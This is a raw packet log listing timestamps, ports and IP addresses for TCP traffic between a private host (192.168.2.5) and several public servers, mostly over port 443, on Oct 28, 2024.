Oct 28, 2024 18:43:40.846324921 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.846858978 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.847232103 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.847321987 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.847361088 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.852114916 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.852133036 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.878515959 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.878592968 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.878673077 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.878940105 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.878940105 CET	63611	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.878959894 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.878981113 CET	443	63611	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.881866932 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.881900072 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.881969929 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.882117987 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:40.882133007 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:40.887329102 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.891324997 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:40.891335964 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.891369104 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.910056114 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.910064936 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:40.910079956 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.947022915 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:40.947065115 CET	443	63622	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:40.947208881 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:40.947597980 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:40.947609901 CET	443	63622	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:40.953000069 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:40.953068018 CET	443	63623	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:40.953133106 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:40.953609943 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:40.953641891 CET	443	63623	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:40.953977108 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:40.953988075 CET	443	63624	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:40.954227924 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:40.954415083 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:40.954423904 CET	443	63624	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:40.955955029 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:40.955974102 CET	443	63625	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:40.956048965 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:40.956173897 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:40.956198931 CET	443	63625	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:40.956942081 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:40.966438055 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.966469049 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:40.971834898 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:40.971849918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:41.019889116 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:41.020011902 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:41.020057917 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:41.022816896 CET	63612	443	192.168.2.5	18.245.113.73
Oct 28, 2024 18:43:41.022838116 CET	443	63612	18.245.113.73	192.168.2.5
Oct 28, 2024 18:43:41.088325024 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.088404894 CET	443	63626	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.088594913 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.089780092 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.089812040 CET	443	63626	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.090214968 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.090275049 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.090320110 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.090332985 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.090343952 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.090388060 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.092818022 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.092875957 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.092895985 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.092915058 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.092952967 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.092962027 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.092972040 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.093003035 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.093009949 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.093024969 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.093049049 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.097397089 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.097414970 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.097433090 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.097441912 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.097456932 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.097464085 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.097517014 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.097527981 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.097573042 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.129303932 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.129358053 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.129446030 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.129487991 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.159132957 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.159169912 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.159205914 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.159599066 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.159689903 CET	443	63606	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.159926891 CET	63606	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.187880039 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.187901974 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.188050032 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.188968897 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.188982010 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.208064079 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.208116055 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.208152056 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.208162069 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.208204031 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.208236933 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.208281994 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.209819078 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.209841967 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.209882975 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.209891081 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.209908009 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.209933043 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.211374044 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.211431026 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.214221001 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.214235067 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.214257956 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.214267015 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.214282990 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.214287996 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.214327097 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.215009928 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.215063095 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.219645023 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.219683886 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.219789028 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.220215082 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.220246077 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.223958969 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.223977089 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.224129915 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.224409103 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:41.224422932 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:41.325680017 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.325748920 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.325798035 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.325809002 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.325844049 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.325844049 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.328756094 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.328804970 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.328830957 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.328838110 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.328876019 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.332267046 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.332290888 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.332354069 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.332360983 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.332420111 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618470907 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618501902 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618550062 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618591070 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618623018 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618623018 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618623972 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618623018 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618640900 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618669987 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618669987 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618695021 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618702888 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618720055 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618751049 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618783951 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618808031 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618866920 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618905067 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.618912935 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.618927956 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.619036913 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.619213104 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.619354963 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.619976044 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.620170116 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.620254993 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.620325089 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.620459080 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.620500088 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.620536089 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.620543003 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.620569944 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.620631933 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.622701883 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.622744083 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.622950077 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.622956991 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.623140097 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.624598026 CET	443	63623	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.624670029 CET	443	63624	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.628732920 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.628865957 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.637094975 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.637109995 CET	443	63624	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.638211966 CET	443	63624	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.638461113 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.645267010 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.645288944 CET	443	63623	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.649066925 CET	443	63623	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.649214983 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.650414944 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.650432110 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.650525093 CET	443	63624	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.650619984 CET	443	63623	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.657823086 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:41.657866955 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:41.661766052 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:41.668936014 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.668971062 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.669018030 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:41.669037104 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:41.669950008 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.669964075 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.675468922 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.676623106 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.676675081 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.676722050 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.676731110 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.676768064 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.676826000 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.676826000 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.676836014 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.676918030 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.677033901 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.680984020 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.681034088 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.681142092 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.681150913 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.681199074 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.681250095 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.693757057 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.693768024 CET	443	63623	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.693825006 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.693840981 CET	443	63624	23.222.241.149	192.168.2.5
Oct 28, 2024 18:43:41.704476118 CET	443	63626	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.706415892 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.706440926 CET	443	63626	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.707876921 CET	443	63626	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.707987070 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.711765051 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.711854935 CET	443	63626	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.713443041 CET	63614	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.713469982 CET	443	63614	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.715867996 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.715874910 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.716649055 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.716655970 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.727062941 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.727142096 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.727190971 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.727197886 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.727247953 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.742032051 CET	63623	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.742033958 CET	63624	443	192.168.2.5	23.222.241.149
Oct 28, 2024 18:43:41.751537085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:41.751646042 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:41.756186962 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.756906986 CET	443	63622	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.756961107 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.756983042 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.757239103 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.757246017 CET	443	63622	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.757951021 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.757992029 CET	443	63626	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.758274078 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.758280039 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.758745909 CET	443	63622	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.758822918 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.758822918 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.758843899 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.758944035 CET	443	63625	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.759881973 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.759898901 CET	443	63625	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.760433912 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.760500908 CET	443	63622	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.760783911 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.760802031 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.761394024 CET	443	63625	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.761426926 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.761432886 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.761461020 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.761780024 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.761851072 CET	443	63625	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.762274981 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.762325048 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.765865088 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.765880108 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.796613932 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.796736002 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.797072887 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.797564030 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.797662973 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.797743082 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.797744036 CET	63617	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.797777891 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.797800064 CET	443	63617	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.799657106 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.800044060 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.800067902 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.800206900 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.800375938 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.801074982 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.801105022 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.801358938 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.802385092 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.802400112 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.803642035 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.803797960 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.804311991 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.804512024 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.805113077 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.805119991 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.805696964 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.805699110 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.805706024 CET	443	63625	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.805704117 CET	63626	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.805715084 CET	443	63622	204.79.197.219	192.168.2.5
Oct 28, 2024 18:43:41.843584061 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.843786955 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.843907118 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.844012976 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.844033957 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.844065905 CET	63618	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.844074011 CET	443	63618	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.846793890 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.846826077 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.846940994 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.847172022 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.847187042 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.850528955 CET	63622	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.850533962 CET	63625	443	192.168.2.5	204.79.197.219
Oct 28, 2024 18:43:41.850631952 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.884586096 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.884707928 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.885221958 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.885221958 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.885221958 CET	63620	443	192.168.2.5	13.107.246.51
